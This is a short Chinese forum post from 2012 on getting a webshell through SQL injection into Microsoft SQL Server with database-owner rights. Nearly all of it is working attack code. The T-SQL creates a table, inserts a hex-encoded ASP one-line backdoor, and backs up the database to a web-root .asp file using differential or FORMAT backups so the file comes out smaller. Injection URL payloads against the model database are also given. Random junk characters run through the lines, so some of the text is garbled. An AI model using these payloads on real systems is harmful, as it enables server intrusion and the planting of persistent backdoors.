DB_OWNER权限得到webshell的两点改进:" x, A9 m2 X3 D( {2 u
0 P( U4 P) C! L% k# g) g减少备份文件大小，得到可执行的webshell成功率提高不少
3 C; Y2 Z% D' [+ g3 a" ]一利用差异备份
; }- }* C, w; p @加一个参数WITH DIFFERENTIAL1 d" ~ G9 _3 A
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
. I. R9 O4 w) x6 Ycreate table [dbo].[xiaolu] ([cmd] [image]);
( G, ?0 |7 P# e1 Ginsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( C: g4 D3 N0 |- S& Y; Q. X5 |: Q& Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ) V/ Z7 ]+ }: G" U, o
) F I8 O! l# t' z( l' F二利用完全FORMAT
# i& q' D1 Y# x2 m1 t加一个参数WITH FROMAT
9 I! C* q. i$ N有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' }9 m5 X& z9 Y( Z% c. ^create table [dbo].[xiaolu] ([cmd] [image]);; o5 z3 Z) t3 ^. G1 c9 Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" A7 G; w! N* P* P9 M8 ^
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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4 {/ f- m4 q+ z% C总的来说就是那么简单几句,下面以备份数据库model为例子0 H: ?5 e- b6 n; z7 v
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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id=1;backup database model to disk='你的路径‘ with differential,format;-- ( t3 @ X: B7 p1 {9 @3 Q
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发表于 2012-11-9 21:31:07
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